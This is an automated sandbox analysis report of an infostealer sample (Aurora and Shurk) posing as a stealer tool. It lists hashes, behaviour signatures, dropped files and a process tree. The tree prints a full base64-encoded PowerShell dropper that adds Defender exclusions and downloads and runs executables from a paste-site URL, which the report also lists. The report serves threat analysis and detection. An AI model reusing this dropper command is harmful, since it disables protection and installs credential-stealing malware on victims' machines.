Analysis

  • max time kernel
    209s
  • max time network
    220s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230621-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-06-2023 06:39

General

  • Target

    AURORA_STEALER/AURORA_STEALER.exe

  • Size

    11.1MB

  • MD5

    b4863ea5e21b52e6bb199de51671aa88

  • SHA1

    116b995556ef787c4b653999bf4ccf9cafa593a3

  • SHA256

    c39eeb965f63cf236d5458c8cecdd7c847e5d0aa56a2fb8009fb8ca6b8ebb046

  • SHA512

    5a5e7888512b0319092f39fcd139d3a75ced9fa6de7479d4a69f745bb8914f7173c4da664296c301e3654389f951b6acf9084db50f22ab30e482f20b0a6223f5

  • SSDEEP

    196608:JsgI2/3BGzono2r687IK4FHl+oRINQLNaX3PXtWWkYZvXrZomRmoyJTSVkXygu/Z:JpU2u478FhbaX3PXtWW9VloSmpTSVHg4

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://rentry.org/xau9i/raw

Signatures

  • Aurora

    Aurora is a crypto wallet stealer written in Golang.

  • Shurk

    Shurk is an infostealer, written in C++ which appeared in 2021.

  • Shurk Stealer payload 22 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\AURORA_STEALER\AURORA_STEALER.exe
    "C:\Users\Admin\AppData\Local\Temp\AURORA_STEALER\AURORA_STEALER.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4704
    • C:\Users\Admin\AppData\Local\Temp\AURORA_STEALER\crack.exe
      "C:\Users\Admin\AppData\Local\Temp\AURORA_STEALER\crack.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Suspicious behavior: AddClipboardFormatListener
      PID:988
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:1520
    • C:\Users\Admin\AppData\Local\Temp\AURORA_STEALER\Aurora.exe
      "C:\Users\Admin\AppData\Local\Temp\AURORA_STEALER\Aurora.exe"
      1⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2536
      • C:\Users\Admin\AppData\Local\Temp\Aurora.exe
        "C:\Users\Admin\AppData\Local\Temp\Aurora.exe"
        2⤵
        • Executes dropped EXE
        PID:3716
      • C:\Users\Admin\AppData\Local\Temp\LX.exe
        "C:\Users\Admin\AppData\Local\Temp\LX.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:944
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAZgBsACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGMAZgBnACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHAAbQBtACMAPgA7ACIAOwA8ACMAcwBxAGwAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBiAGcAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB0AGgAZwAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBmAHgAYQAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AeABhAHUAOQBpAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBqAHoAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAbgBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGUAdQBpACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwBtAGIAZQAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AHkAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAegBiAGIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAGgAaQBsACMAPgA="
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3728
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#cfg#>[System.Windows.Forms.MessageBox]::Show('','','OK','Error')<#pmm#>;
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3136

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      223bd4ae02766ddc32e6145fd1a29301

      SHA1

      900cfd6526d7e33fb4039a1cc2790ea049bc2c5b

      SHA256

      1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e

      SHA512

      648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      e1d7973fb9071815b4241da5ec0dfb6a

      SHA1

      41f06afbd0ac9f9a0b226a2dd6fa9495d83209b9

      SHA256

      b3953ac9f5752d996ec2545864d6ccf09ffe4b0f84f41a2cc52a95ad8103212b

      SHA512

      66163114aba8867561ceac2124bc2060c351cb4a83c4f8d40bc6bfd8042881690ea8152e2b58ec55b4b6de17e1610642c90df602e1fb2658b4c3d0783f3a0900

    • C:\Users\Admin\AppData\Local\Temp\AURORA_STEALER\Aurora.exe

      Filesize

      25.5MB

      MD5

      ee0a49caa656fe8693ffec78e69e864d

      SHA1

      dca409540b8c19a31e0748a17425835358a90e1b

      SHA256

      34e038a53f367feda9eb1ffbf71ca6af8ac9ace7a34d86c43e1f197c8988057f

      SHA512

      897be9ce27bec144b34cdfc4ef94cd95c2cb58a50e4679f9c3a2fa2df42c0a9dea80b4fcb7fb4fd037278cab427abaaae553e1939bff83868e15fffd3fdf3aa1

    • C:\Users\Admin\AppData\Local\Temp\AURORA_STEALER\Aurora.exe

      Filesize

      25.5MB

      MD5

      ee0a49caa656fe8693ffec78e69e864d

      SHA1

      dca409540b8c19a31e0748a17425835358a90e1b

      SHA256

      34e038a53f367feda9eb1ffbf71ca6af8ac9ace7a34d86c43e1f197c8988057f

      SHA512

      897be9ce27bec144b34cdfc4ef94cd95c2cb58a50e4679f9c3a2fa2df42c0a9dea80b4fcb7fb4fd037278cab427abaaae553e1939bff83868e15fffd3fdf3aa1

    • C:\Users\Admin\AppData\Local\Temp\AURORA_STEALER\crack.exe

      Filesize

      18KB

      MD5

      b441b71b1ce23257d6f40bd7555703ac

      SHA1

      961d3ae7e69b7a39edda340e93986c5a7f89c097

      SHA256

      eeaacd0b7e68cc5e5a183dc5f6e8b489cf267a73ebd772b338873f9e04e2b7a4

      SHA512

      e4f67e81e8f83b211a8c4bbaa0ff96d02341ff3fe6a83ffac0aefb62507afb0fa823fe43e3d4e3dd0b4a680393e6980adc92cea5286998109c828faf657c4a8b

    • C:\Users\Admin\AppData\Local\Temp\AURORA_STEALER\crack.exe

      Filesize

      18KB

      MD5

      b441b71b1ce23257d6f40bd7555703ac

      SHA1

      961d3ae7e69b7a39edda340e93986c5a7f89c097

      SHA256

      eeaacd0b7e68cc5e5a183dc5f6e8b489cf267a73ebd772b338873f9e04e2b7a4

      SHA512

      e4f67e81e8f83b211a8c4bbaa0ff96d02341ff3fe6a83ffac0aefb62507afb0fa823fe43e3d4e3dd0b4a680393e6980adc92cea5286998109c828faf657c4a8b

    • C:\Users\Admin\AppData\Local\Temp\AURORA_STEALER\crack.exe

      Filesize

      18KB

      MD5

      b441b71b1ce23257d6f40bd7555703ac

      SHA1

      961d3ae7e69b7a39edda340e93986c5a7f89c097

      SHA256

      eeaacd0b7e68cc5e5a183dc5f6e8b489cf267a73ebd772b338873f9e04e2b7a4

      SHA512

      e4f67e81e8f83b211a8c4bbaa0ff96d02341ff3fe6a83ffac0aefb62507afb0fa823fe43e3d4e3dd0b4a680393e6980adc92cea5286998109c828faf657c4a8b

    • C:\Users\Admin\AppData\Local\Temp\Aurora.exe

      Filesize

      25.4MB

      MD5

      ad9aa927339dc830a38021afbe20a85f

      SHA1

      8017bea5f073064a27f61390ce6433cc110f55ea

      SHA256

      6815733e84bc19b0e7d24533f6295c929cd48be501b226e3a9fd12806a7a4e71

      SHA512

      43d95d09404f4407083f25ac59f9c31855ed715309037be6ba9e05d26af3ee073e786ee2d12f72f3e1fedebf8529c8b31dc2b7e485ab08b7e21fce2abcf260fd

    • C:\Users\Admin\AppData\Local\Temp\Aurora.exe

      Filesize

      25.4MB

      MD5

      ad9aa927339dc830a38021afbe20a85f

      SHA1

      8017bea5f073064a27f61390ce6433cc110f55ea

      SHA256

      6815733e84bc19b0e7d24533f6295c929cd48be501b226e3a9fd12806a7a4e71

      SHA512

      43d95d09404f4407083f25ac59f9c31855ed715309037be6ba9e05d26af3ee073e786ee2d12f72f3e1fedebf8529c8b31dc2b7e485ab08b7e21fce2abcf260fd

    • C:\Users\Admin\AppData\Local\Temp\Aurora.exe

      Filesize

      25.4MB

      MD5

      ad9aa927339dc830a38021afbe20a85f

      SHA1

      8017bea5f073064a27f61390ce6433cc110f55ea

      SHA256

      6815733e84bc19b0e7d24533f6295c929cd48be501b226e3a9fd12806a7a4e71

      SHA512

      43d95d09404f4407083f25ac59f9c31855ed715309037be6ba9e05d26af3ee073e786ee2d12f72f3e1fedebf8529c8b31dc2b7e485ab08b7e21fce2abcf260fd

    • C:\Users\Admin\AppData\Local\Temp\LX.exe

      Filesize

      74KB

      MD5

      1ab3092297d1806397e8d3a6747a3271

      SHA1

      ea114a2e5ddee915d30458031ec5ced7f97d1650

      SHA256

      2aa5d3e3abdcd8d31a11b9e1ac3d2e4b4075261f2e324833da229e3736a3ee6e

      SHA512

      1ab9ea47bbeb22688ba8ebcdbad144b794aabd29f1d4b0bfc2554cc1e9b28325e31b07e252b96ccd3851e49f9cdf935ded702a1cf83c343d69e357e4734caf28

    • C:\Users\Admin\AppData\Local\Temp\LX.exe

      Filesize

      74KB

      MD5

      1ab3092297d1806397e8d3a6747a3271

      SHA1

      ea114a2e5ddee915d30458031ec5ced7f97d1650

      SHA256

      2aa5d3e3abdcd8d31a11b9e1ac3d2e4b4075261f2e324833da229e3736a3ee6e

      SHA512

      1ab9ea47bbeb22688ba8ebcdbad144b794aabd29f1d4b0bfc2554cc1e9b28325e31b07e252b96ccd3851e49f9cdf935ded702a1cf83c343d69e357e4734caf28

    • C:\Users\Admin\AppData\Local\Temp\LX.exe

      Filesize

      74KB

      MD5

      1ab3092297d1806397e8d3a6747a3271

      SHA1

      ea114a2e5ddee915d30458031ec5ced7f97d1650

      SHA256

      2aa5d3e3abdcd8d31a11b9e1ac3d2e4b4075261f2e324833da229e3736a3ee6e

      SHA512

      1ab9ea47bbeb22688ba8ebcdbad144b794aabd29f1d4b0bfc2554cc1e9b28325e31b07e252b96ccd3851e49f9cdf935ded702a1cf83c343d69e357e4734caf28

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_45njbpwj.lzf.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/944-1306-0x0000000000160000-0x0000000000178000-memory.dmp

      Filesize

      96KB

    • memory/988-1284-0x000000001B7E0000-0x000000001B7F0000-memory.dmp

      Filesize

      64KB

    • memory/988-1283-0x000000001B7E0000-0x000000001B7F0000-memory.dmp

      Filesize

      64KB

    • memory/988-1280-0x0000000000D90000-0x0000000000D9C000-memory.dmp

      Filesize

      48KB

    • memory/2536-1305-0x0000000000400000-0x0000000001D8A000-memory.dmp

      Filesize

      25.5MB

    • memory/3136-1324-0x000001CA444B0000-0x000001CA444C0000-memory.dmp

      Filesize

      64KB

    • memory/3136-1323-0x000001CA444B0000-0x000001CA444C0000-memory.dmp

      Filesize

      64KB

    • memory/3136-1341-0x000001CA5CC60000-0x000001CA5CDAE000-memory.dmp

      Filesize

      1.3MB

    • memory/3136-1334-0x000001CA444B0000-0x000001CA444C0000-memory.dmp

      Filesize

      64KB

    • memory/3716-1352-0x00007FF654290000-0x00007FF655B9B000-memory.dmp

      Filesize

      25.0MB

    • memory/3716-1348-0x00007FF654290000-0x00007FF655B9B000-memory.dmp

      Filesize

      25.0MB

    • memory/3716-1357-0x00007FF654290000-0x00007FF655B9B000-memory.dmp

      Filesize

      25.0MB

    • memory/3716-1356-0x00007FF654290000-0x00007FF655B9B000-memory.dmp

      Filesize

      25.0MB

    • memory/3716-1309-0x00007FF654290000-0x00007FF655B9B000-memory.dmp

      Filesize

      25.0MB

    • memory/3716-1355-0x00007FF654290000-0x00007FF655B9B000-memory.dmp

      Filesize

      25.0MB

    • memory/3716-1343-0x00007FF654290000-0x00007FF655B9B000-memory.dmp

      Filesize

      25.0MB

    • memory/3716-1344-0x00007FF654290000-0x00007FF655B9B000-memory.dmp

      Filesize

      25.0MB

    • memory/3716-1345-0x00007FF654290000-0x00007FF655B9B000-memory.dmp

      Filesize

      25.0MB

    • memory/3716-1346-0x00007FF654290000-0x00007FF655B9B000-memory.dmp

      Filesize

      25.0MB

    • memory/3716-1347-0x00007FF654290000-0x00007FF655B9B000-memory.dmp

      Filesize

      25.0MB

    • memory/3716-1354-0x00007FF654290000-0x00007FF655B9B000-memory.dmp

      Filesize

      25.0MB

    • memory/3716-1349-0x00007FF654290000-0x00007FF655B9B000-memory.dmp

      Filesize

      25.0MB

    • memory/3716-1350-0x00007FF654290000-0x00007FF655B9B000-memory.dmp

      Filesize

      25.0MB

    • memory/3716-1351-0x00007FF654290000-0x00007FF655B9B000-memory.dmp

      Filesize

      25.0MB

    • memory/3716-1353-0x00007FF654290000-0x00007FF655B9B000-memory.dmp

      Filesize

      25.0MB

    • memory/3728-1321-0x000001BC7AE60000-0x000001BC7AE82000-memory.dmp

      Filesize

      136KB

    • memory/3728-1311-0x000001BC7AE90000-0x000001BC7AEA0000-memory.dmp

      Filesize

      64KB

    • memory/3728-1322-0x000001BC7AE90000-0x000001BC7AEA0000-memory.dmp

      Filesize

      64KB

    • memory/3728-1310-0x000001BC7AE90000-0x000001BC7AEA0000-memory.dmp

      Filesize

      64KB

    • memory/3728-1337-0x000001BC7B110000-0x000001BC7B25E000-memory.dmp

      Filesize

      1.3MB